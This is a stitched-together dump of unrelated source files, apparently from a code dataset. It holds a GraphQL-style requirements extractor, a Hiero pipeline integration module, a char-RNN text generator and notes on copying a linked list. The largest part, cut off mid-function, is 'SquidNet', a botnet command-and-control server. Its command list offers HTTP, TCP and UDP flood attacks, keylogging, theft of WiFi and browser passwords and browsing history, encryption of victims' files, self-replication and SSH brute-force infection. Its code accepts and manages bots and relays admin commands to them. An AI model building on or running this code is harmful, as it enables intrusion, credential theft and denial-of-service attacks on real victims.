from ..types import GenericMeta, RecordMeta, SequenceMeta, MappingMeta
from ..types import OptionalMeta, get_type
from .nodes import NodeVisitor
# TODO: revisit this
_CONTAINER_TYPES = (
OptionalMeta,
SequenceMeta,
MappingMeta,
RecordMeta,
)
class Ref:
def __init__(self, backref, to):
self.backref = backref
self.to = to
def __repr__(self):
return '{!r} > {!r}'.format(self.to, self.backref)
def __eq__(self, other):
return (self.__class__ is other.__class__
and self.__dict__ == other.__dict__)
def __ne__(self, other):
return not self.__eq__(other)
class NamedRef(Ref):
def __init__(self, backref, name, to):
super(NamedRef, self).__init__(backref, to)
self.name = name
def __repr__(self):
return '{}:{!r} > {!r}'.format(self.name, self.to, self.backref)
def ref_to_req(types, ref, add_req=None):
if ref is None:
assert add_req is not None
return add_req
ref_type = get_type(types, ref.to)
if isinstance(ref_type, OptionalMeta):
ref_type = get_type(types, ref_type.__type__)
if isinstance(ref_type, RecordMeta):
if isinstance(ref, NamedRef):
node = Node([]) if add_req is None else add_req
return ref_to_req(types, ref.backref,
Node([Link(ref.name, node)]))
else:
return ref_to_req(types, ref.backref, add_req)
elif isinstance(ref_type, SequenceMeta):
item_type = get_type(types, ref_type.__item_type__)
if isinstance(item_type, RecordMeta):
assert isinstance(ref, NamedRef), type(ref)
node = Node([]) if add_req is None else add_req
return ref_to_req(types, ref.backref,
Node([Link(ref.name, node)]))
else:
assert not isinstance(item_type, _CONTAINER_TYPES), ref_type
assert isinstance(ref, NamedRef), type(ref)
assert add_req is None, repr(add_req)
return ref_to_req(types, ref.backref,
Node([Field(ref.name)]))
elif isinstance(ref_type, GenericMeta):
assert not isinstance(ref_type, _CONTAINER_TYPES), ref_type
assert add_req is None, repr(add_req)
if isinstance(ref, NamedRef):
return ref_to_req(types, ref.backref,
Node([Field(ref.name)]))
else:
return ref_to_req(types, ref.backref)
else:
raise TypeError('Is not one of hiku.types: {!r}'.format(ref_type))
def type_to_query(type_):
if isinstance(type_, RecordMeta):
assert isinstance(type_, RecordMeta), type(type_)
fields = []
for f_name, f_type in type_.__field_types__.items():
f_query = type_to_query(f_type)
if f_query is not None:
fields.append(Link(f_name, f_query))
else:
fields.append(Field(f_name))
return Node(fields)
elif isinstance(type_, SequenceMeta):
return type_to_query(type_.__item_type__)
elif isinstance(type_, OptionalMeta):
return type_to_query(type_.__type__)
else:
return None
class RequirementsExtractor(NodeVisitor):
def __init__(self, types):
self._types = types
self._reqs = []
@classmethod
def extract(cls, types, expr):
extractor = cls(types)
extractor.visit(expr)
return merge(extractor._reqs)
def visit(self, node):
ref = getattr(node, '__ref__', None)
if ref is not None:
req = ref_to_req(self._types, ref)
if req is not None:
self._reqs.append(req)
super(RequirementsExtractor, self).visit(node)
def visit_tuple(self, node):
sym, args = node.values[0], node.values[1:]
sym_ref = getattr(sym, '__ref__', None)
if sym_ref is not None:
for arg, arg_type in zip(args, sym_ref.to.__arg_types__):
arg_query = type_to_query(arg_type)
if arg_query is not None:
self._reqs.append(ref_to_req(self._types, arg.__ref__,
arg_query))
else:
self.visit(arg)
else:
for arg in args:
self.visit(arg)
| 2.25 | 2 |
pype/hosts/hiero/__init__.py | Yowza-Animation/pype | 0 | 12764277 | <gh_stars>0
import os
from pype.api import Logger
from avalon import api as avalon
from pyblish import api as pyblish
from pype import PLUGINS_DIR
from .workio import (
open_file,
save_file,
current_file,
has_unsaved_changes,
file_extensions,
work_root
)
from .menu import (
install as menu_install,
_update_menu_task_label
)
from .events import register_hiero_events
__all__ = [
# Workfiles API
"open_file",
"save_file",
"current_file",
"has_unsaved_changes",
"file_extensions",
"work_root",
]
# get logger
log = Logger().get_logger(__name__, "hiero")
''' Creating all important host related variables '''
AVALON_CONFIG = os.getenv("AVALON_CONFIG", "pype")
# plugin root path
PUBLISH_PATH = os.path.join(PLUGINS_DIR, "hiero", "publish")
LOAD_PATH = os.path.join(PLUGINS_DIR, "hiero", "load")
CREATE_PATH = os.path.join(PLUGINS_DIR, "hiero", "create")
INVENTORY_PATH = os.path.join(PLUGINS_DIR, "hiero", "inventory")
# registering particular pyblish gui but `lite` is recomended!!
if os.getenv("PYBLISH_GUI", None):
pyblish.register_gui(os.getenv("PYBLISH_GUI", None))
def install():
"""
Installing Hiero integration for avalon
Args:
config (obj): avalon config module `pype` in our case, it is not
used but required by avalon.api.install()
"""
# adding all events
_register_events()
log.info("Registering Hiero plug-ins..")
pyblish.register_host("hiero")
pyblish.register_plugin_path(PUBLISH_PATH)
avalon.register_plugin_path(avalon.Loader, LOAD_PATH)
avalon.register_plugin_path(avalon.Creator, CREATE_PATH)
avalon.register_plugin_path(avalon.InventoryAction, INVENTORY_PATH)
# Disable all families except for the ones we explicitly want to see
family_states = [
"write",
"review",
"plate"
]
avalon.data["familiesStateDefault"] = False
avalon.data["familiesStateToggled"] = family_states
# install menu
menu_install()
# register hiero events
register_hiero_events()
def uninstall():
"""
Uninstalling Hiero integration for avalon
"""
log.info("Deregistering Hiero plug-ins..")
pyblish.deregister_host("hiero")
pyblish.deregister_plugin_path(PUBLISH_PATH)
avalon.deregister_plugin_path(avalon.Loader, LOAD_PATH)
avalon.deregister_plugin_path(avalon.Creator, CREATE_PATH)
def _register_events():
"""
Adding all callbacks.
"""
# if task changed then change notext of hiero
avalon.on("taskChanged", _update_menu_task_label)
log.info("Installed event callback for 'taskChanged'..")
def ls():
"""List available containers.
This function is used by the Container Manager in Nuke. You'll
need to implement a for-loop that then *yields* one Container at
a time.
See the `container.json` schema for details on how it should look,
and the Maya equivalent, which is in `avalon.maya.pipeline`
"""
# TODO: listing all availabe containers form sequence
return
| 1.960938 | 2 |
generate.py | priyavrat-misra/scifi-lorem | 0 | 12764278 | <gh_stars>0
import torch
import argparse
import pyperclip
from network import CharRNN
from infer_utils import sample
parser = argparse.ArgumentParser(
prog='SciFi Lorem',
description='generate random *meaningful* sci-fi text'
)
parser.add_argument('-S', '--save_path', type=str, metavar='',
help='saves the text to a file with given name')
parser.add_argument('-s', '--size',
nargs='?', default=512, type=int, metavar='',
help='generates given no of characters (default 512)')
parser.add_argument('-p', '--prime',
nargs='?', default='The', type=str, metavar='',
help='sets the starter/prime text (default "The")')
parser.add_argument('-k', '--topk',
nargs='?', default=3, type=int, metavar='',
help='randomly choose one from top-k probable chars')
parser.add_argument('-v', '--verbose', nargs='?', const=1, type=bool,
metavar='', help='prints the text to console')
parser.add_argument('-c', '--copyclip', nargs='?', const=1, type=bool,
metavar='', help='copies the text to clipboard')
def main():
args = parser.parse_args()
if args.topk <= 1:
print('-k/--topk should be a value greater than 1')
exit(1)
with open('models/char_rnn.pth', 'rb') as f:
checkpoint = torch.load(f, map_location='cpu')
model = CharRNN(
tokens=checkpoint['tokens'],
n_hidden=checkpoint['n_hidden'],
n_layers=checkpoint['n_layers']
)
model.load_state_dict(checkpoint['model'])
model.eval()
text = sample(model, size=args.size, top_k=args.topk, prime=args.prime)
if args.verbose:
print(text + '\n')
if args.save_path is not None:
with open(args.save_path, 'w') as f:
f.write(text)
print(f'>>> generated text saved to {args.save_path}')
if args.copyclip:
pyperclip.copy(text)
print('>>> generated text copied to clipboard')
if __name__ == '__main__':
main()
| 2.5 | 2 |
notes/algo-ds-practice/problems/list/copy_list_random_pointer.py | Anmol-Singh-Jaggi/interview-notes | 6 | 12764279 | '''
You are given a linked list with one pointer of each node pointing to the next node just like the usual.
Every node, however, also has a second pointer that can point to any node in the list.
Now write a program to deep copy this list.
Solution 1:
First backup all the nodes' next pointers node to another array.
next_backup = [node1, node2, node3 ... None]
Meaning next_backup[0] = node[0].next = node1.
Note that these are just references.
Now just deep-copy the original linked list, only considering the next pointers.
While copying (or after it), point
`original_0.next = copy_0`
and
`copy_0.random = original_0`
Now, while traversing the copy list, set the random pointers of copies correctly:
copy.random = copy.random.random.next
Now, traverse the original list and fix back the next pointers using the next_backup array.
Total complexity -> O(n+n+n) = O(n)
Space complexity = O(n)
SOLUTION 2:
We can also do it in space complexity O(1).
This is actually easier to understand. ;)
For every node original_i, make a copy of it just in front of it.
For example, if original_0.next = original_1, then now it will become
`original_0.next = copy_0`
`copy_0.next = original_1`
Now, set the random pointers of copies:
`copy_i.random = original_i.random.next`
We can do this because we know that the copy of a node is just after the original.
Now, fix the next pointers of all the nodes:
original_i.next = original_i.next.next
copy_i.next = copy_i.next.next
Time complexity = O(n)
Space complexity = O(1)
'''
| 4.125 | 4 |
Botnets/SquidNet.py | Egida/Ethical-Hacking-Scripts | 29 | 12764280 | <reponame>Egida/Ethical-Hacking-Scripts
import random, socket, time, sys, threading, random, os, hashlib, datetime, sqlite3
try:
"""This Module comes with Paramiko."""
from cryptography.fernet import Fernet
except:
pass
from optparse import OptionParser
"""This script is NOT Perfected(Still a WIP)! Notify me if there are any
issues with the script! I am open for DMs but please state that are a user
of my scripts, otherwise I will ignore you(I don't accept DMs from
strangers). My Discord: DrSquid™#7711. If you are unable to reach me,
you can open a discussion and I will respond to that in my repository."""
class ArguementParse:
"""Main Class for parsing command prompt arguements
when running the scripts."""
def __init__(self):
"""All arguements are optional! The botnet will start up without
arguements, however it will only be hosted on localhost.
The arguement parsing function will be utilized here."""
self.get_args()
def downloadNgrok(self):
"""Downloads Ngrok for windows. May need to add it for other OS's
but maybe in the future I will."""
print("[+] Downloading Ngrok.....\n")
if sys.platform == "win32":
batfile = open("getNgrok.bat", "w")
batfile.write(f"""
curl https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip -o ngrok.zip
tar -xf {os.getcwd()}/ngrok.zip
""")
batfile.close()
os.startfile(batfile.name)
else:
output = os.popen("curl https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip -o ngrok.zip")
print("[+] Downloading Ngrok.....")
print("[+] Ngrok zip file has been downloaded. Unzip it to extract ngrok!\n")
print("[+] Sign in with an ngrok account and you are good to go.")
print("[+] Run 'ngrok tcp 80' to start an Ngrok domain after finishing.")
sys.exit()
def usage(self):
"""Displays help for arguement parsing(good for first time users).
Allows the user to know what the arguements do as well as well as
how to use them."""
print(Botnet.log_logo(None))
print("""
[+] Option-Parsing Help:
[+] --ip, --ipaddr - Specifies the IP to host the Botnet on.
[+] --p, --port - Specifies the Port to host the Botnet on.
[+] --aU, --adminuser - Specify Botnet Admin Username.
[+] --aP, --adminpass - Specify Botnet Admin Password.
[+] --pL, --passlist - Specify a TXT File for SSH Brute-Forcing.
[+] Optional Arguements:
[+] --i, --info - Shows this message.
[+] --gN, --getngrok - Downloads Ngrok.
[+] --eK, --encryptkey - Specify encrypting key for bots.
[+] --eH, --externalhost - Specify an External Hostname for external connections.
[+] --eP, --externalport - Specify an External Port for external connections.
[+] Note: You need to have an Ngrok domain started for the ngrok arguements to have effect.
[+] Usage:""")
if sys.argv[0].endswith(".py"):
print("""[+] python3 Squidnet.py --ip <ip> --p <port> --aU <adminuser> --aP <adminpass> --eK <encryptkey> --pL <passlist> --nH <ngrokhost> --nP <ngrokport>
[+] python3 Squidnet.py --i
[+] python3 Squidnet.py --gN""")
else:
print("""[+] Squidnet --ip <ip> --p <port> --aU <adminuser> --aP <adminpass> --eK <encryptkey> --pL <passlist> --nH <ngrokhost> --nP <ngrokport>
[+] Squidnet --i
[+] Squidnet --gN""")
sys.exit()
def get_args(self):
"""Arguement Parsing function for initiating the Botnet. Also adds
a bit of info for configuring settings in the Botnet to function the
best way that it can."""
opt = OptionParser()
opt.add_option("--ip", "--ipaddr", dest="ip")
opt.add_option("--p", "--port", dest="port")
opt.add_option("--aU", "--adminuser", dest="adminuser")
opt.add_option("--aP", "--adminpass", dest="adminpass")
opt.add_option("--eK", "--encryptkey", dest="key")
opt.add_option("--pL", "--passlist", dest="passfile")
opt.add_option("--eH", "--externalhost", dest="ngrokhost")
opt.add_option("--eP", "--externalport", dest="ngrokport")
opt.add_option("--gN", "--getngrok", dest="download", action="store_true")
opt.add_option("--i", "--info", dest="info", action="store_true")
arg, opti = opt.parse_args()
if arg.download is not None:
print(Botnet.log_logo(None))
self.downloadNgrok()
if arg.info is not None:
self.usage()
else:
pass
if arg.ip is None:
ip = "localhost"
else:
ip = arg.ip
if arg.port is None:
port = 80
else:
try:
port = int(arg.port)
if port == 8080:
port = 80
except:
Botnet.logo(None)
print("[+] Invalid port provided! Must be an integer!")
sys.exit()
if arg.adminuser is None:
adminuser = "admin"
else:
adminuser = arg.adminuser
if arg.adminpass is None:
adminpass = str(random.randint(0, <PASSWORD>))
else:
adminpass = arg.adminpass
if arg.key is None:
try:
key = Fernet.generate_key()
except:
key = b'<KEY>
else:
key = str(arg.key).encode()
if arg.passfile is None:
passfile = False
else:
passfile = arg.passfile
if arg.ngrokhost is not None:
ngrokhost = arg.ngrokhost
else:
ngrokhost = None
if arg.ngrokport is not None:
try:
ngrokport = int(arg.ngrokport)
except:
print(Botnet.log_logo(None))
print("[+] Invalid port provided! Must be an integer!")
sys.exit()
else:
ngrokport = None
self.webinterface = Web_Interface("localhost", 8080)
self.botnet = Botnet(ip, port, adminuser, adminpass, key, passfile, ngrokhost, ngrokport)
class Botnet:
"""Main Class Made for the BotNet. Everything important
and needed for the Botnet is located in this class."""
class NotSamePassException(Exception):
def __init__(self, msg=f"Configured Password is the the same as one in server txt file!"):
"""Little Error for the password configuration."""
self.msg = msg
super().__init__(self.msg)
def __init__(self, ip, port, name, passw, key, passwfile, ngroklink=None, ngrokport=None):
"""Initiation of the main script. Definition of socket server, ngrok hosts, logging, etc
are created. There are also definition of variables that are vital to the overall script
that are defined here as well. Logging is also started."""
self.ip = ip
self.port = int(port)
self.name = name
self.passw = <PASSWORD>w
self.key = key
self.info = []
self.ssh_info = []
self.admininfo = []
self.bot_count = 0
self.passfilename = <PASSWORD>wfile
self.logfile = "servlog.txt"
self.passfile = <PASSWORD>wfile
self.log("\n" + self.log_logo() + "\n")
self.log("\n[(SERVER)]: Starting up server....")
if self.passfile != False:
try:
self.passwords = open(passwfile, 'r')
except:
self.logo()
print(f"[+] File '{passwfile}' is not in current directory.\n[+] Server is closing.....")
self.log("\n[(ERROR)]: Error starting up server - Brute-forcing file is not in directory!\n[(CLOSE)]: Server is closing.....")
sys.exit()
self.version = "8.0"
self.connportlist = []
self.conn_list = []
self.admin_conn = []
self.ips = []
self.ssh_bots = []
self.ssh_botlist = []
self.display_bots = []
self.admin_name = ""
self.admin_password = ""
self.savefile = False
self.botfile = ""
self.instruction = ""
try:
self.ngroklink = ngroklink
self.ngrokport = int(ngrokport)
tester = socket.gethostbyname(self.ngroklink)
except:
self.ngroklink = self.ip
self.ngrokport = self.port
self.listenforconn = True
self.botscript = self.bot_script()
self.working = False
self.obtaininghistory = False
self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.serv.bind((ip, port))
self.working = True
except Exception as e:
self.working = False
self.logo()
print("[+] The Server cannot be started! Check the logs for more info.")
self.log(f"\n[(ERROR)]: Unable to bind IP and Port due to: {e}")
sys.exit()
if self.working:
self.cwd = os.getcwd()
self.listener = threading.Thread(target=self.listen)
self.listener.start()
self.logo()
self.savefile = False
self.displaykeys = False
self.welcomemsg = """
[(SERVER)]:
[+] List of Commands:
[+] !help - Displays this message.
[+] !getconninfo - Displays info about all of the connections.
[+] Commands for TCP Botnet:
[+] !httpflood [website] [delay] - Denial Of Services the website provided.
[+] !tcpflood [ip] [port] [delay] [size] - Floods the target with TCP Packets.
[+] !udpflood [ip] [port] [delay] [size] - Floods the target with UDP Packets.
[+] !openfile [filename] - Opens a file in the bot working directory.
[+] !changedir [dir] - Changes the working directory of the Bot.
[+] !rmdir [folder] - Removes a folder in the bot working directory.
[+] !rmfile [file] - Removes a file in the bot working directory.
[+] !encfile [file] - Encrypts a provided file in the bot working directory
[+] !decfile [file] - Decrypts a provided file in the bot working directory
[+] !viewfilecontent [file] - Gets the content of the files provided.
[+] !dwnldfile [src] [file] - Downloads a file from the internet onto the bot computer.
[+] !mkdir [dir] - Makes a folder in the bot current directory.
[+] !gotowebsite [url] - Takes the bot to the provided website.
[+] !mkfile [filename] - Creates a file in the bot working directory.
[+] !editfile [file] - Opens a file in writing mode for the bots.
[+] !stopedit - Closes file editor on bots and returns to normal.
[+] !keylog [display?] - Sets up keylogging on the bots(put True in 2nd arg to display it, put nothing to not).
[+] !stopkeylog - Stops any keylogging on the Botnet.
[+] !encdir - Encrypts all files in the bot working directory
[+] !decdir - Decrypts all files in the bot working directory
[+] !botcount - Gets the amount of connected bots.
[+] !stopatk - Stops any ongoing DDoS Attacks in the Botnet.
[+] !changedirdesktop - Sets the bot working directory to their Desktop.
[+] !listdir - Lists the files in the bot working directories.
[+] !resettoken - Resets the token and changes it to a new token
[+] !getinfo - Gets the OS, cwd, IP, and username of the bots.
[+] !getip - Gets the IP of the bots
[+] !getwifi - Obtains the wifi names and passwords of the bots(Windows only).
[+] !savefile - Obtains a file from the bots directory.
[+] !getcwd - Gets the bots working directory.
[+] !getos - Gets the OS Of the bots.
[+] !getpasswords - Gets the stored browser passwords of the bots(Windows only).
[+] !rickroll - Rick Rolls the Bots.
[+] !getchromehistory - Obtains the chrome history of the bots(it needs to already be in the server txt file).
[+] !cloneself - Self replicates the Bot scripts in the bots.
[+] Commands for SSH Botnet:
[+] !infect [ip] [user] - Brute forces login for provided ip and username.
[+] !sshlogin [ip] [user] [pass] - Logs in the ip with the provided username and password.
[+] !listsshbots - Lists all SSH Bots.
[+] Any other commands will be made into cmd commands.
"""
item = f"\n[(SERVER)]: Server started: {datetime.datetime.today()}\n[(SERVER)]: Successfully started server on: {self.ngroklink}:{self.ngrokport}\n[(SERVER)]: Listening for connections.....\n[(SERVER)]: Encryption key used: {self.key}"
self.log(item)
print(f"\n[+] Hosting Server at {self.ngroklink}:{self.ngrokport}")
print("[+] Web-Interface For More Info: http://127.0.0.1:8080")
print("[+] Botnet is Up! Listening for connections.....\n")
print(f"[+] This Server is being logged!\n[+] Server Log File: {self.logfile}")
print(f"\n[+] Use this token when encrypting!: {key}")
print("[+] Notice that this token will be used if encrypting files(probably save it).")
self.usage()
self.instructor = threading.Thread(target=self.instruct)
self.instructor.start()
def log_logo(self=None):
"""Logo of this script."""
logo = """
_____ _ _ _ _ _ ___ ___
/ ____| (_) | | \ | | | | / _ \ / _ \
| (___ __ _ _ _ _ __| | \| | ___| |_ __ _| (_) | | | |
\___ \ / _` | | | | |/ _` | . ` |/ _ \ __| \ \ / /> _ <| | | |
____) | (_| | |_| | | (_| | |\ | __/ |_ \ V /| (_) | |_| |
|_____/ \__, |\__,_|_|\__,_|_| \_|\___|\__| \_/ \___(_)___/
| |
|_|
TCP and SSH Botnet Hybrid Command and Control Server By DrSquid"""
return logo
def logo(self):
"""Prints the logo of this script."""
print(self.log_logo())
def usage(self):
"""This displays the list of commands on the server that can be sent to the bots."""
print("\n[+] Commands:\n")
print("[+] !help - Displays all of the commands.")
print("[+] !whatsnew - Displays all new features.")
print("[+] !getconninfo - Displays info about all of the connections.")
print(
"[+] !genadminscript - Generates the admin script for remote connections to this server.")
print(
"[+] !genscript - Generates the bot python script needed to connect to this server.")
print("[+] !clear - Clears the output.")
print(
"[+] !togglelisten - Toggles whether to stop accepting connections or start accepting them.")
print("[+] !kick [hostname] [srcport] - Kicks a client off of the Botnet.")
print("\n[+] Commands for TCP Botnet:\n")
print("[+] !httpflood [website] [delay] - Denial Of Services the website provided.")
print("[+] !tcpflood [ip] [port] [delay] [size] - Floods the target with TCP Packets.")
print("[+] !udpflood [ip] [port] [delay] [size] - Floods the target with UDP Packets.")
print("[+] !openfile [filename] - Opens a file in the bot working directory.")
print("[+] !changedir [dir] - Changes the working directory of the Bot.")
print("[+] !rmdir [folder] - Removes a folder in the bot working directory.")
print("[+] !rmfile [file] - Removes a file in the bot working directory.")
print("[+] !encfile [file] - Encrypts a provided file in the bot working directory")
print("[+] !decfile [file] - Decrypts a provided file in the bot working directory")
print("[+] !viewfilecontent [file] - Gets the content of the files provided.")
print("[+] !dwnldfile [src] [file] - Downloads a file from the internet onto the bot computer.")
print("[+] !mkdir [dir] - Makes a folder in the bot current directory.")
print("[+] !gotowebsite [url] - Takes the bot to the provided website.")
print("[+] !mkfile [filename] - Creates a file in the bot working directory.")
print("[+] !editfile [file] - Opens a file in writing mode for the bots.")
print("[+] !stopedit - Closes file editor on bots and returns to normal.")
print(
"[+] !keylog [display?] - Sets up keylogging on the bots(put True in 2nd arg to display it, put nothing to not).")
print("[+] !stopkeylog - Stops any keylogging on the Botnet.")
print("[+] !encdir - Encrypts all files in the bot working directory")
print("[+] !decdir - Decrypts all files in the bot working directory")
print("[+] !botcount - Gets the amount of connected bots.")
print("[+] !stopatk - Stops any ongoing DDoS Attacks in the Botnet.")
print("[+] !changedirdesktop - Sets the bot working directory to their Desktop.")
print("[+] !listdir - Lists the files in the bot working directories.")
print("[+] !resettoken - Resets the token and changes it to a new token")
print("[+] !getinfo - Gets the OS, cwd, IP, and username of the bots.")
print("[+] !getip - Gets the IP of the bots")
print(
"[+] !getwifi - Obtains the wifi names and passwords of the bots(Windows only).")
print("[+] !savefile - Obtains a file from the bots directory.")
print("[+] !getcwd - Gets the bots working directory.")
print("[+] !getos - Gets the OS Of the bots.")
print("[+] !getpasswords - Gets the stored browser passwords of the bots(Windows only).")
print("[+] !rickroll - Rick Rolls the Bots.")
print("[+] !cloneself - Self replicates the Bot scripts in the bots.")
print(
"[+] !getchromehistory - Check the bots chrome history(Hehehe....)(it will save in an external file).")
print("\n[+] Commands for SSH Botnet:\n")
print("[+] !infect [ip] [user] - Brute forces login for the provided ip and username.")
print("[+] !inject [file] - Opens FTP and injects a file into an infected host.")
print("[+] !sshlogin [ip] [user] [pass] - Logs in the ip with the provided username and password.")
print("[+] !listsshbots - Lists all SSH Bots.")
print("\n[+] Any other commands will be made into cmd commands.\n")
def listen(self):
"""This function listens for connections from admins and bots alike.
The first message recieved will be interpreted as the name of the device
and it will displayed for the Admins to see. A thread is created for the
handling of the connection. If variable 'self.listenforconn' is False, then
the server will not listen for connections."""
while True:
try:
if self.listenforconn:
flag = 0
self.serv.listen(1)
c, ip = self.serv.accept()
if not self.listenforconn:
c.close()
else:
msg = c.recv(1024).decode().strip()
self.bot_count += 1
split_msg = msg.split()
hostname = split_msg[0]
try:
ipaddr = str(split_msg[1])
except:
ipaddr = "Unknown"
try:
user = str(split_msg[2])
except:
user = "Unknown"
try:
connection = str(ip[1])
except:
connection = "Unknown"
try:
opsys = split_msg[3]
except:
opsys = "Unknown"
self.connportlist.append(hostname + " " + str(ip[1]) + " " + str(c))
self.log(f"""
[({hostname})---->(SERVER)]:
[+] HOSTNAME: {hostname}
[+] IPADDR : {ipaddr}
[+] USERNAME: {user}
[+] CONN : {connection}
[+] OS : {opsys}""")
info = str(hostname + " " + ipaddr + " " + user + " " + connection + " " + opsys)
self.info.append(info)
print(f"\n[!] {hostname} has connected to the botnet.")
self.log(f"\n[(CONNECTION)]: {hostname} has connected to the botnet.")
handle = threading.Thread(target=self.handler, args=(c, hostname, self.bot_count, info))
handle.start()
else:
pass
except Exception as e:
self.log(f"\n[(ERROR)]: {str(e)}")
def log(self, msg):
"""Logs server output."""
try:
self.serverlog = open(self.logfile, 'r')
contents = self.serverlog.read()
self.serverlog.close()
self.serverlog = open(self.logfile, 'w')
self.serverlog.write(contents)
self.serverlog.write(msg)
self.serverlog.close()
except FileNotFoundError:
self.serverlog = open(self.logfile, "w")
self.serverlog.write(msg)
self.serverlog.close()
except:
self.serverlog = open(self.logfile, 'rb')
contents = self.serverlog.read()
self.serverlog.close()
self.serverlog = open(self.logfile, 'wb')
self.serverlog.write(contents)
self.serverlog.write(msg)
self.serverlog.close()
def wrap_item(self, word, size):
"""Wraps the items from the conn-list and aligns it in the table."""
item = word
while len(item) + 2 <= size - 1:
item += " "
return item
def gen_conntable(self):
"""Generates the connection table with info about each connection.
This is similar to the information displayed in the Web-Interface."""
result = """
Regular Connections:
______________________________________________________________________________________
| | | | | |
| Hostname | IP Address | Username | Connection | OS |
|_______________________|__________________|______________|______________|___________|"""
for info in self.info:
split_info = info.split()
result += f"\n| {self.wrap_item(split_info[0], 24)}| {self.wrap_item(split_info[1], 19)}| {self.wrap_item(split_info[2], 15)}| {self.wrap_item(split_info[3], 15)}| {self.wrap_item(split_info[4], 12)}|"
result += "\n|_______________________|__________________|______________|______________|___________|"
result += """
Admin Connections:
______________________________________________________________________________________
| | | | | |
| Hostname | IP Address | Username | Connection | OS |
|_______________________|__________________|______________|______________|___________|"""
for info in self.admininfo:
split_info = info.split()
result += f"\n| {self.wrap_item(split_info[0], 24)}| {self.wrap_item(split_info[1], 19)}| {self.wrap_item(split_info[2], 15)}| {self.wrap_item(split_info[3], 15)}| {self.wrap_item(split_info[4], 12)}|"
result += "\n|_______________________|__________________|______________|______________|___________|"
result += """
SSH Connections:
________________________________________________________
| | | |
| Hostname | IP Address | Password |
|_______________________|_______________|______________|"""
for info in self.ssh_info:
split_info = info.split()
result += f"\n| {self.wrap_item(split_info[0], 24)}| {self.wrap_item(split_info[1], 19)}| {self.wrap_item(split_info[2], 15)}|"
result += "\n|_______________________|_______________|______________|\n"
return result
def handler(self, c, hostname, number, info):
"""Function recieves packets from the connections. This is needed for clients
to send packets to the botnet so the Admin can see what the Bots are sending.
This is needed also for password grabbing and information obtaining. This
function is also important for admin connections as they need to send and
recieve packets. It also handles the connections, and keeps them alive."""
admin = False
isbot = False
while True:
try:
msg = c.recv(65500)
if self.savefile or self.obtaininghistory:
pass
else:
try:
msg = msg.decode()
except Exception as e:
msg = str(msg)
self.log(f"\n[(ERROR)]: {str(e)}")
if not isbot:
if msg == "!CLIENTLOG":
isbot = True
msgtoadmin = f"[(SERVER)]: {hostname} is recognized as part of the Botnet."
self.log("\n" + msgtoadmin)
print(f"[!] {hostname} is recognized as part of the Botnet.")
for adm in self.admin_conn:
try:
adm.send(msgtoadmin.encode())
except Exception as e:
self.log(f"\n[(ERROR)]: {str(e)}")
self.conn_list.append(c)
else:
print(f"[!] WARNING: {hostname} IS NOT PART OF THE BOTNET.\n[!] Closing Connection.....")
c.close()
break
if isbot:
if not admin:
if str(type(msg)) == "str":
if msg.startswith('!login'):
msg_split = msg.split()
name = msg_split[1]
passw = msg_split[2]
try:
passw = passw.encode()
except Exception as e:
self.log(f"\n[(ERROR)]: {str(e)}")
hashed_passw = hashlib.sha256(passw).hexdigest()
if hashed_passw == self.admin_password and name == self.admin_name:
try:
admin = True
print(f"[!] {hostname} is an Admin!")
hostname = f"ADMIN)({hostname}"
msgtoadmin = f"[(SERVER)]: {hostname} is an Admin!"
self.log("\n" + msgtoadmin)
for admi in self.admin_conn:
try:
admi.send(msgtoadmin.encode())
except Exception as e:
self.log(f"\n[(ERROR)]: {str(e)}")
self.admin_conn.append(c)
try:
c.send(self.welcomemsg.encode())
except:
pass
self.log(f"\n[(SERVER)---->({hostname})]: Sent welcome message.")
self.admininfo.append(info)
except:
pass
else:
c.send("Access Denied!".encode())
msgtoall = f"[(ATTEMPTEDBREACHWARNING)]: {hostname} attempted to login to the botnet with incorrect credentials!\n[(ATTEMPTEDBREACHWARNING)]: Closing Connection...."
self.log("\n" + msgtoall)
print(msgtoall)
for admins in self.admin_conn:
try:
admins.send(msgtoall.encode())
except Exception as e:
self.log(f"\n[(ERROR)]: {str(e)}")
c.close()
break
elif msg.startswith("!sendkey"):
msg_split = msg.split()
del msg_split[0]
main_msg = ""
for i in msg_split:
main_msg = main_msg + " " + i
main_msg = main_msg.strip()
logthis = f"[({hostname})]: {main_msg}"
if self.displaykeys:
print(logthis)
if self.obtaininghistory:
try:
if msg.decode().strip() == "":
pass
else:
self.historyfile.write(f"\n[({hostname})]: ".encode() + msg)
except:
self.historyfile.write(f"\n[({hostname})]: ".encode() + msg)
if admin:
if msg.startswith('!httpflood'):
msgtobot = msg.split()
try:
targ_website = msgtobot[1]
atk_delay = msgtobot[2]
servmsg = f"[({hostname})]: Beginning HTTP Flood Attack on {targ_website} with delay of {atk_delay}.\n"
self.log("\n" + servmsg)
print(servmsg)
c.send(
f"Successfully started an HTTP Flood Attack on {targ_website} wth a delay of {atk_delay}".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Successfully started an HTTP Flood Attack on {targ_website} wth a delay of {atk_delay}")
except:
msg = "help"
c.send("Invalid Parameters!".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Invalid Parameters!")
elif msg.startswith('!tcpflood'):
msgtobot = msg.split()
try:
target = msgtobot[1]
servmsg = f"[({hostname})]: Beginning TCP Flood Attack on {target}.\n"
self.log("\n" + servmsg)
print(servmsg)
c.send(
f"Successfully started a TCP Flood Attack on {target}".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Successfully started a TCP Flood Attack on {target}")
except:
msg = "help"
c.send("Invalid Parameters!".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Invalid Parameters!")
elif msg.startswith("!getchromehistory"):
try:
file = open("BotsHistory.txt", "rb").read()
if len(str(file)) == 0:
c.send(
"[(SERVER)]: Unable to send Bots history from the bots(Needs to be obtained on the server-side).".encode())
else:
c.send("[(SERVER)]:".encode() + file)
except:
c.send(
"[(SERVER)]: Unable to send Bots history from the bots(Needs to be obtained on the server-side).".encode())
elif msg.startswith('!udpflood'):
msgtobot = msg.split()
try:
target = msgtobot[1]
servmsg = f"[({hostname})]: Beginning UDP Flood Attack on {target}.\n"
self.log("\n" + servmsg)
print(servmsg)
c.send(
f"Successfully started a UDP Flood Attack on {target}".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Successfully started a UDP Flood Attack on {target}")
except:
msg = "help"
c.send("Invalid Parameters!".encode())
self.log(
f"\n[(SERVER)---->({hostname})]: Invalid Parameters!")
elif msg.startswith('!help'):
c.send(self.welcomemsg.encode())
